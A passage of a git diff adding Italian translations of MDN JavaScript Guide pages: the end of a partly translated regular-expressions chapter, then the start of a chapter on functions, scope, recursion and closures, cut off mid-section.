+<p>Le espressioni regolari sono usate con i metodi <code>test</code> and <code>exec</code> di <code>RegExp</code> e con i metodi <code>match</code>, <code>replace</code>, <code>search</code>, and <code>split</code> di <code>String</code> .Questi metodi sono spiegati in dettaglio nelle  <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>.</p>
+
+<p>Metodi che usano le espressioni regolari</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Metodo</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("RegExp.exec", "exec")}}</td>
+   <td>
+    <p>Un metodo di <code>RegExp</code> che esegue una ricerca per una corrispondenza in una stringa. Ritorna un array di informazioni, o null se non trova corrispondenze.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.test", "test")}}</td>
+   <td>Un metodo di <code>RegExp</code> che testa le corrispondenze in una stinga. Ritorna true o false. </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}</td>
+   <td>Un metodo di <code>String</code> che esegue una ricerca per una corrispondenza in una stringa. Ritorna un array di informazioni, o null se non trova corrispondenze.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.search", "search")}}</td>
+   <td>A <code>String</code> method that tests for a match in a string. It returns the index of the match, or -1 if the search fails.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replace", "replace")}}</td>
+   <td>A <code>String</code> method that executes a search for a match in a string, and replaces the matched substring with a replacement substring.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>A <code>String</code> method that uses a regular expression or a fixed string to break a string into an array of substrings.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>When you want to know whether a pattern is found in a string, use the <code>test</code> or <code>search</code> method; for more information (but slower execution) use the <code>exec</code> or <code>match</code> methods. If you use <code>exec</code> or <code>match</code> and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, <code>RegExp</code>. If the match fails, the <code>exec</code> method returns <code>null</code> (which coerces to <code>false</code>).</p>
+
+<p>In the following example, the script uses the <code>exec</code> method to find a match in a string.</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>If you do not need to access the properties of the regular expression, an alternative way of creating <code>myArray</code> is with this script:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); // equivalent to "cdbbdbsbz".match(/d(b+)d/g);
+</pre>
+
+<p>If you want to construct the regular expression from a string, yet another alternative is this script:</p>
+
+<pre class="brush: js">var myRe = new RegExp("d(b+)d", "g");
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>With these scripts, the match succeeds and returns the array and updates the properties shown in the following table.</p>
+
+<table class="standard-table">
+ <caption>Results of regular expression execution.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Object</th>
+   <th scope="col">Property or index</th>
+   <th scope="col">Description</th>
+   <th scope="col">In this example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>myArray</code></td>
+   <td></td>
+   <td>The matched string and all remembered substrings.</td>
+   <td><code>["dbbd", "bb"]</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>The 0-based index of the match in the input string.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>The original string.</td>
+   <td><code>"cdbbdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>The last matched characters.</td>
+   <td><code>"dbbd"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>myRe</code></td>
+   <td><code>lastIndex</code></td>
+   <td>The index at which to start the next match. (This property is set only if the regular expression uses the g option, described in {{ web.link("#Advanced_searching_with_flags", "Advanced Searching With Flags") }}.)</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>The text of the pattern. Updated at the time that the regular expression is created, not executed.</td>
+   <td><code>"d(b+)d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script:</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + myRe.lastIndex);
+
+// "The value of lastIndex is 5"
+</pre>
+
+<p>However, if you have this script:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);
+
+// "The value of lastIndex is 0"
+</pre>
+
+<p>The occurrences of <code>/d(b+)d/g</code> in the two statements are different regular expression objects and hence have different values for their <code>lastIndex</code> property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.</p>
+
+<h3 id="Using_parenthesized_substring_matches">Using parenthesized substring matches</h3>
+
+<p>Including parentheses in a regular expression pattern causes the corresponding submatch to be remembered. For example, <code>/a(b)c/</code> matches the characters 'abc' and remembers 'b'. To recall these parenthesized substring matches, use the <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p>
+
+<p>The number of possible parenthesized substrings is unlimited. The returned array holds all that were found. The following examples illustrate how to use parenthesized substring matches.</p>
+
+<p>The following script uses the {{jsxref("String.replace", "replace()")}} method to switch the words in the string. For the replacement text, the script uses the <code>$1</code> and <code>$2</code> in the replacement to denote the first and second parenthesized substring matches.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = "John Smith";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+</pre>
+
+<p>This prints "Smith, John".</p>
+
+<h3 id="Advanced_searching_with_flags">Advanced searching with flags</h3>
+
+<p>Regular expressions have four optional flags that allow for global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression.</p>
+
+<table class="standard-table">
+ <caption>Regular expression flags</caption>
+ <thead>
+  <tr>
+   <th scope="col">Flag</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Global search.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Case-insensitive search.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Multi-line search.</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>Perform a "sticky" search that matches starting at the current position in the target string. See {{jsxref("RegExp.sticky", "sticky")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>To include a flag with the regular expression, use this syntax:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>or</p>
+
+<pre class="brush: js">var re = new RegExp("pattern", "flags");
+</pre>
+
+<p>Note that the flags are an integral part of a regular expression. They cannot be added or removed later.</p>
+
+<p>For example, <code>re = /\w+\s/g</code> creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string.</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+var str = "fee fi fo fum";
+var myArray = str.match(re);
+console.log(myArray);
+</pre>
+
+<p>This displays ["fee ", "fi ", "fo "]. In this example, you could replace the line:</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+</pre>
+
+<p>with:</p>
+
+<pre class="brush: js">var re = new RegExp("\\w+\\s", "g");
+</pre>
+
+<p>and get the same result.</p>
+
+<p>The <code>m</code> flag is used to specify that a multiline input string should be treated as multiple lines. If the <code>m</code> flag is used, <code>^</code> and <code>$</code> match at the start or end of any line within the input string instead of the start or end of the entire string.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following examples show some uses of regular expressions.</p>
+
+<h3 id="Changing_the_order_in_an_input_string">Changing the order in an input string</h3>
+
+<p>The following example illustrates the formation of regular expressions and the use of <code>string.split()</code> and <code>string.replace()</code>. It cleans a roughly formatted input string containing names (first name first) separated by blanks, tabs and exactly one semicolon. Finally, it reverses the name order (last name first) and sorts the list.</p>
+
+<pre class="brush: js">// The name string contains multiple spaces and tabs,
+// and may have multiple spaces between first and last names.
+var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Original String\n", names + "\n"];
+
+// Prepare two regular expression patterns and array storage.
+// Split the string into array elements.
+
+// pattern: possible white space then semicolon then possible white space
+var pattern = /\s*;\s*/;
+
+// Break the string into pieces separated by the pattern above and
+// store the pieces in an array called nameList
+var nameList = names.split(pattern);
+
+// new pattern: one or more characters then spaces then characters.
+// Use parentheses to "memorize" portions of the pattern.
+// The memorized portions are referred to later.
+pattern = /(\w+)\s+(\w+)/;
+
+// New array for holding names being processed.
+var bySurnameList = [];
+
+// Display the name array and populate the new array
+// with comma-separated names, last first.
+//
+// The replace method removes anything matching the pattern
+// and replaces it with the memorized string—second memorized portion
+// followed by comma space followed by first memorized portion.
+//
+// The variables $1 and $2 refer to the portions
+// memorized while matching the pattern.
+
+output.push("---------- After Split by Regular Expression");
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++){
+  output.push(nameList[i]);
+  bySurnameList[i] = nameList[i].replace(pattern, "$2, $1");
+}
+
+// Display the new array.
+output.push("---------- Names Reversed");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+// Sort by last name, then display the sorted array.
+bySurnameList.sort();
+output.push("---------- Sorted");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+output.push("---------- End");
+
+console.log(output.join("\n"));
+</pre>
+
+<h3 id="Using_special_characters_to_verify_input">Using special characters to verify input</h3>
+
+<p>In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid.</p>
+
+<p>Within non-capturing parentheses <code>(?:</code> , the regular expression looks for three numeric characters <code>\d{3}</code> OR <code>|</code> a left parenthesis <code>\(</code> followed by three digits<code> \d{3}</code>, followed by a close parenthesis <code>\)</code>, (end non-capturing parenthesis <code>)</code>), followed by one dash, forward slash, or decimal point and when found, remember the character <code>([-\/\.])</code>, followed by three digits <code>\d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p>
+
+<p>The <code>Change</code> event activated when the user presses Enter sets the value of <code>RegExp.input</code>.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
+      function testInfo(phoneInput){
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(phoneInput.value + " isn't a phone number with area code!");
+        else
+          window.alert("Thanks, your phone number is " + OK[0]);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Enter your phone number (with area code) and then click "Check".
+        &lt;br&gt;The expected format is like ###-###-####.&lt;/p&gt;
+    &lt;form action="#"&gt;
+      &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Check&lt;/button&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
diff --git a/files/it/web/javascript/guida/functions/index.html b/files/it/web/javascript/guida/functions/index.html
new file mode 100644
index 0000000000..4aca8d5a7b
--- /dev/null
+++ b/files/it/web/javascript/guida/functions/index.html
@@ -0,0 +1,646 @@
+---
+title: Funzioni
+slug: Web/JavaScript/Guida/Functions
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<div> </div>
+
+<p><strong>Le funzioni sono tra i blocchi di programmazione fondamentali in JavaScript. Una funzione è una procedura JavaScript — un gruppo di istruzioni ( statement ) che esegue un compito o calcola un valore. Per usare una funzione, occorre definirla, all'interno dello <em>scope</em> dal quale la si invocherà.</strong></p>
+
+<p>Vedi anche <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">l'esaustivo capitolo della guida di riferimento, che tratta delle funzioni </a><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript</a>, per avere maggiori dettagli.</p>
+
+<h2 id="Definire_una_funzione">Definire una funzione</h2>
+
+<h3 id="Dichiarazioni_di_funzione">Dichiarazioni di funzione</h3>
+
+<p>Una <strong>definizione di funzione</strong> ( o <strong>dichiarazione di funzione</strong>, o <strong>istruzione di funzione </strong>) consiste della parola chiave <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>function</code></a>, seguita da:</p>
+
+<ul>
+ <li>il nome della funzione.</li>
+ <li>una lista di argomenti per la funzione, chiusi tra due parentesi e separati da una virgola.</li>
+ <li>le istruzioni JavaScript che definiscono la funzione, chiuse tra due parentesi graffe, <code>{ }</code>.</li>
+</ul>
+
+<p>Per esempio, il codice seguente definisce una funzione semplice chiamata <em>square</em>:</p>
+
+<pre class="brush: js">function square(number) {
+  return number * number;
+}
+</pre>
+
+<p>La funzione <em><code>square</code></em> riceve un argomento, chiamato <em><code>number</code></em>. La funzione contiene una sola istruzione che dice di restituire ( <em>return</em> ) l'argomento della funzione ( <em><code>number </code></em>) moltiplicato per se stesso. L'istruzione <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> specifica il valore restituito dalla funzione.</p>
+
+<pre class="brush: js">return number * number;
+</pre>
+
+<p>I parametri primitivi ( quale un numero ) vengono passati alla funzione come <strong>valore</strong>; il valore è passato alla funzione, ma se la funzione cambia il valore del parametro, questo cambiamento non si riflette globalmente, o nella funzione chiamante ( la funzione che, eventualmente, ha invocato la funzione in esecuzione ).</p>
+
+<p>Se, invece, alla funzione viene passato un oggetto ( un valore non-primitivo, come, ad esempio, un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="The JavaScript Array object is a global object that is used in the construction of arrays; which are high-level, list-like objects."><code>Array</code></a> oppure un oggetto definito dall'utente ) come parametro e la funzione modifica le proprietà dell'oggetto, quella modifica sarà visibile anche fuori dalla funzione, come si può vedere dal seguente esempio:</p>
+
+<pre class="brush: js">function myFunc(theObject) {
+  theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x gets the value "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y gets the value "Toyota"
+                // (the make property was changed by the function)
+</pre>
+
+<h3 id="Espressioni_di_funzione">Espressioni di funzione</h3>
+
+<p>Mentre la dichiarazione di funzione di cui sopra è, da un punto di vista sintattico, un'istruzione, le funzioni possono anche essere create da un'espressione di funzione. Una funzione di questo tipo può anche essere <strong>anonima</strong>; vale a dire, non deve avere un nome. Per esempio, la funzione <em><code>square</code></em> potrebbe essere stata definita come:</p>
+
+<pre class="brush: js">var square = function(number) { return number * number };
+var x = square(4) // x gets the value 16</pre>
+
+<p>Tuttavia, è possibile assegnare un nome alla funzione anche con l'espressione di funzione e quel nome potrà essere utilizzato all'interno della funzione, per riferirsi alla funzione stessa, oppure in un debugger, per identificare la funzione all'interno dello stack:</p>
+
+<pre class="brush: js">var factorial = function fac(n) { return n&lt;2 ? 1 : n*fac(n-1) };
+
+console.log(factorial(3));
+</pre>
+
+<p>NB: l'oggetto <em>console</em> non è un oggetto standard. Non usatelo in un sito web, poichè potrebbe non funzionare correttamente. Per verificare il funzionamento dell'esempio precedente, usate, piuttosto:</p>
+
+<p>           window.alert(factorial(3));</p>
+
+<p>Le espressioni di funzione sono utili quando si vuole passare una funzione ad un'altra funzione, come argomento. Il prossimo esempio mostra una funzione <code>map</code> che viene definita e poi invocata, con una funzione anonima come primo parametro:</p>
+
+<pre class="brush: js">function map(f,a) {
+  var result = [], // Create a new Array
+      i;
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre>
+
+<p>Il seguente codice:</p>
+
+<pre class="brush: js">map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+</pre>
+
+<p>restituisce [0, 1, 8, 125, 1000].</p>
+
+<p>In JavaScript, una funzione può essere definita in base ad una condizione. Per esempio, la definizione di funzione seguente definisce la funzione <code>myFunc</code> solo se <code>num</code> è uguale a 0 ( zero ):</p>
+
+<pre class="brush: js">var myFunc;
+if (num == 0){
+  myFunc = function(theObject) {
+    theObject.make = "Toyota"
+  }
+}</pre>
+
+<p>Per definire una funzione, inoltre, è possibile usare il costruttore <a class="new" href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Function" title="The documentation about this has not yet been written; please consider contributing!"><code>Function</code></a>, per creare funzioni da una stringa, in runtime, in modo simile a <a class="new" title="The documentation about this has not yet been written; please consider contributing!"><code>eval()</code></a>.</p>
+
+<p>Un <strong>metodo</strong> è una funzione che è una proprietà di un oggetto. Leggi di più sugli oggetti e sui metodi in <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Working with objects</a>.</p>
+
+<h2 id="Chiamare_(_invocare_)_una_funzione">Chiamare ( invocare ) una funzione</h2>
+
+<p>Definire una funzione non significa eseguirla. Definire una funzione significa semplicemente darle un nome e specificare cosa fare quando la funzione viene chiamata ( invocata ). <strong>Chiamare</strong> una funzione significa eseguire le azioni specificate, utilizzando i parametri indicati. Per esempio, se definiamo la funzione <code>square</code>, possiamo chiamarla o invocarla nel modo seguente:</p>
+
+<pre class="brush: js">square(5);
+</pre>
+
+<p>Questa istruzione chiama la funzione, inviandole un argomento, il numero 5. La funzione esegue le sue istruzioni e restituisce il valore 25.</p>
+
+<p>Le funzioni devono essere in <em>scope</em> quando vengono chiamate, ma la dichiarazione di funzione può anche apparire sotto la chiamata, nel codice sorgente, come nell'esempio seguente:</p>
+
+<pre class="brush: js">console.log(square(5));
+/* ... */
+function square(n) { return n*n }
+</pre>
+
+<p>Lo <em>scope</em> di una funzione è la funzione nella quale è stata dichiarata, oppure l'intero programma se la dichiarazione è stata fatta al livello più alto, non annidata in alcun altro blocco di programmazione.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> l'ultimo esempio funziona solo quando la funzione viene definita utilizzando la sintassi usata nell'esempio ( <code>function funcName(){}</code> ). Il codice seguente, invece, non funzionerà:</p>
+</div>
+
+<pre class="brush: js example-bad">console.log(square(5));
+square = function (n) {
+  return n * n;
+}
+</pre>
+
+<p>Gli argomenti di una funzione non sono limitati alle stringhe testuali e ai numeri. È possibile passare anche interi oggetti ad una funzione. La funzione <code>show_props()</code> (definita in <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a>) è un esempio di funzione che riceve, come argomento, un oggetto.</p>
+
+<p>Una funzione può chiamare se stessa. Per esempio, ecco una funzione che calcola in modo ricorsivo i fattoriali ( molto simile alla funzione <code>fac()</code> vista poco prima in questa stessa pagina ):</p>
+
+<pre class="brush: js">function factorial(n){
+  if ((n == 0) || (n == 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+</pre>
+
+<p>A questo punto, è possibile calcolare i fattoriali dei cinque numeri seguenti:</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
+<p>Esistono altri metodi per chiamare una funzione. Ci sono casi in cui una funzione deve essere chiamata dinamicamente, oppure casi in cui il numero degli argomenti passati alla funzione varia, oppure casi in cui il contesto della chiamata di funzione deve essere impostato ad uno specifico oggetto, determinato in runtime ( tempo di esecuzione ). È chiaro che le funzioni sono, esse stesse, oggetti, e che questi oggetti hanno propri metodi (vedi l'oggetto <a class="new" href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Function" title="The documentation about this has not yet been written; please consider contributing!"><code>Function</code></a>). Uno di questi metodi, <a class="new" href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The documentation about this has not yet been written; please consider contributing!"><code>apply()</code></a>, può essere usato a questo scopo.</p>
+
+<h2 class="deki-transform" id="Lo_scope_di_una_funzione">Lo scope di una funzione</h2>
+
+<p>Alle variabili definite all'interno di una funzione non è possibile accedere dall'esterno della funzione, poichè la variabile è definita solo per lo <em>scope</em> della funzione ( <em>scope</em>: portata, ambiente, ambito in cui il nome della variabile può essere utilizzato per riferirsi ad essa ). Tuttavia, una funzione può accedere a tutte le variabili e a tutte le funzioni definite all'interno dello <em>scope</em> in cui è stata definita. In altre parole, una funzione definita nello <em>scope</em> globale può accedere a tutte le variabili definite nello <em>scope</em> globale. Una funzione definita all'interno di un'altra funzione può accedere anche a tutte le variabili definite nella funzione genitrice ( parent ), oltre che a tutte le altre variabili alle quali può accedere la funzione genitrice.</p>
+
+<pre class="brush: js">// Queste variabili sono definite nello <em>scope</em> globale
+
+var num1 = 20,
+    num2 = 3,
+    name = "Chamahk";
+
+// Questa funzione è definita nello <em>scope</em> globale
+
+function multiply() {
+    return num1 * num2;
+    }
+
+multiply(); // restituisce 60
+
+// Un esempio di funzione annidata
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + " scored " + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // restituisce "Chamahk scored 5"
+</pre>
+
+<h2 id="Scope_e_lo_stack_della_funzione">Scope e lo stack della funzione</h2>
+
+<h3 id="Ricorsione">Ricorsione</h3>
+
+<p>Una funzione può chiamare se stessa. Esistono tre modi per una funzione di chiamare se stessa:</p>
+
+<ol>
+ <li>il nome della funzione</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li>
+ <li>una variabile <em>in-scope</em> che fa da riferimento alla funzione</li>
+</ol>
+
+<p>Per esempio, considerate la seguente definizione di funzione:</p>
+
+<pre class="brush: js">var foo = function bar() {
+   // statements go here
+};
+</pre>
+
+<p>All'interno del corpo della funzione, le tre seguenti istruzioni sono equivalenti:</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>Una funzione che chiama se stessa viene detta <em>funzione ricorsiva</em>. In qualche modo, la ricorsione è analoga ad un loop. Entrambi eseguono lo stesso codice più volte ed entrambi richiedono una condizione (per evitare un loop infinito, o piuttosto, una ricorsione infinita, in questo caso). Per esempio, il loop seguente:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" is the loop condition
+   // do stuff
+   x++;
+}
+</pre>
+
+<p>può essere convertito in una funzione ricorsiva e in una chiamata a quella funzione:</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" is the exit condition (equivalent to "!(x &lt; 10)")
+    return;
+  // do stuff
+  loop(x + 1); // the recursive call
+}
+loop(0);
+</pre>
+
+<p>Tuttavia, alcuni algoritmi non possono essere semplici loop iterativi. Per esempio, per avere tutti i nodi di una struttura ad albero (per esempio, il <a href="/en-US/docs/DOM">DOM</a>) è molto più semplice usare la ricorsione:</p>
+
+<pre class="brush: js">function walkTree(node) {
+  if (node == null) //
+    return;
+  // do something with node
+  for (var i = 0; i &lt; node.childNodes.length; i++) {
+    walkTree(node.childNodes[i]);
+  }
+}
+</pre>
+
+<p>Paragonato alla funzione <code>loop</code>, ciascuna chiamata ricorsiva, qui, esegue, a sua volta, molte chiamate ricorsive.</p>
+
+<p>È possibile convertire qualsiasi algoritmo ricorsivo in un algoritmo non ricorsivo, ma spesso la logica è molto più complessa e per farlo è necessario utilizzare uno stack. In effetti, la ricorsione stessa usa uno stack: lo stack della funzione.</p>
+
+<p>Un comportamento paragonabile allo stack può essere visto nell'esempio seguente:</p>
+
+<pre class="brush: js">function foo(i) {
+  if (i &lt; 0)
+    return;
+  console.log('begin:' + i);
+  foo(i - 1);
+  console.log('end:' + i);
+}
+foo(3);
+
+// Output:
+
+// begin:3
+// begin:2
+// begin:1
+// begin:0
+// end:0
+// end:1
+// end:2
+// end:3</pre>
+
+<h3 id="Funzioni_annidate_e_chiusure">Funzioni annidate e chiusure</h3>
+
+<p>È possibile annidare una funzione all'interno di una funzione. La funzione annidata ( interna ) è privata, rispetto alla funzione che la contiene (outer o esterna). Essa forma anche una <em>chiusura</em> ( <em>closure )</em>. Una chiusura è un'espressione (normalmente, una funzione) che può avere variabili libere ( non locali ) legate ad un ambiente (ambiente che "chiude" l'espressione).</p>
+
+<p>Dal momento in cui una funzione annidata è una chiusura, una funzione annidata può "ereditare" gli argomenti e le variabili della sua funzione contenitore (esterna o genitrice). In altre parole, la funzione interna contiene lo <em>scope</em> ( ambiente ) della funzione esterna.</p>
+
+<p>Per riepilogare:</p>
+
+<ul>
+ <li>alla funzione interna possono accedere solo le istruzioni contenute nella funzione esterna.</li>
+</ul>
+
+<ul>
+ <li>la funzione interna forma una chiusura: la funzione interna può utilizzare gli argomenti e le variabili della funzione esterna, mentre la funzione esterna non può utilizzare gli argomenti e le variabili della funzione interna.</li>
+</ul>
+
+<p>Ecco un esempio di funzione annidata:</p>
+
+<pre class="brush: js">function addSquares(a,b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
+a = addSquares(2,3); // restituisce 13
+b = addSquares(3,4); // restituisce 25
+c = addSquares(4,5); // restituisce 41
+</pre>
+
+<p>Dal momento in cui la funzione interna forma una chiusura, è possibile chiamare la funzione esterna e specificare gli argomenti per entrambe le funzioni, quella esterna e quella interna:</p>
+
+<pre class="brush: js">function outside(x) {
+  function inside(y) {
+    return x + y;
+  }
+  return inside;
+}
+fn_inside = outside(3); // Come dire: dammi una funzione che addizioni 3 a qualsiasi altro valore le venga passato
+result = fn_inside(5); // restituisce 8
+
+result1 = outside(3)(5); // restituisce 8
+</pre>
+
+<h3 id="Persistenza_delle_variabili">Persistenza delle variabili</h3>
+
+<p>Da notare come <code>x</code> venga preservata anche all'uscita da <code>inside</code>. Una chiusura deve preservare argomenti e variabili in tutti gli <em>scope</em> ai quali è riferita. Poichè ogni chiamata potrebbe trasportare argomenti differenti, per ogni chiamata alla funzione <em>outside</em> viene creata una nuova chiusura. La memoria può essere liberata solo quando <code>inside</code> non è più accessibile.</p>
+
+<p>Una chiusura non è differente da un riferimento ad un oggetto, ma è meno ovvia di quest'ultimo, perchè non richiede di impostare direttamente il riferimento e perchè non è possibile ispezionare l'oggetto al quale il riferimento punta.</p>
+
+<h3 id="Funzioni_annidate_multiple">Funzioni annidate multiple</h3>
+
+<p>Le funzioni possono essere annidate a più livelli. Per esempio, una funzione (A), può contenere una funzione (B), che può contenere, a sua volta, una funzione (C). Entrambe le funzioni B e C formano una chiusura, qui, così B può accedere ad A e C può accedere a B. Inoltre, visto che C può accedere a B che può accedere ad A, C può anche accedere ad A. Quindi, le chiusure possono contenere più <em>scope</em>; ciascuna chiusura contiene lo <em>scope</em> delle funzioni che la contengono. Questo meccanismo è chiamato <em>scope chaining</em> ( catena di <em>scope</em> ). (Perchè è chiamata "catena" sarà chiaro tra poco.)</p>
+
+<p>Considerate l'esempio seguente:</p>
+
+<pre class="brush: js">function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // logs 6 (1 + 2 + 3)
+</pre>
+
+<p>In questo esempio, <code>C</code> accede alla variabile <code><em>y</em> di B</code> e alla <em>x</em> di <code>A</code>. Questo accade perchè:</p>
+
+<ol>
+ <li><code>B</code> forma una chiusura che include <code>A</code>: quindi, <code>B</code> può accedere agli argomenti ed alle variabili di <code>A</code>.</li>
+ <li><code>C</code> forma una chiusura che include <code>B</code>.</li>
+ <li>Poichè la chiusura di <code>B </code>include <code>A</code>, la chiusura di <code>C</code> include <code>A</code>; <code>C</code> può accedere agli argomenti ed alle variabili sia di <code>B</code> <em>che</em> di <code>A</code>. In altre parole, <code>C</code> unisce in una catena gli <em>scope</em> di <code>B</code> ed <code>A</code> in quell'ordine.</li>
+</ol>
+
+<p>Il contrario, tuttavia, non è vero. <code>A</code> non può accedere a <code>C</code>, perchè <code>A</code> non può accedere ad alcun argomento o variabile di <code>B</code>, di cui <code>C</code> è una variabile. Quindi, <code>C</code> resta privata solo a  <code>B</code>.</p>
+
+<h3 id="Conflitti_tra_nomi">Conflitti tra nomi</h3>
+
+<p>Quando due argomenti o variabili, all'interno degli <em>scope</em> di una chiusura hanno lo stesso nome, nasce un <em>conflitto tra nomi</em>. Gli <em>scope</em> più interni hanno la precedenza, così lo <em>scope</em> più annidato ha la precedenza più elevata, mentre lo <em>scope</em> più esterno ha la precedenza più bassa. Questa è la catena degli <em>scope</em>. Il primo della catena è lo <em>scope</em> più annidato, mentre l'ultimo è lo <em>scope</em> più esterno. Vediamo il seguente esempio:</p>
+
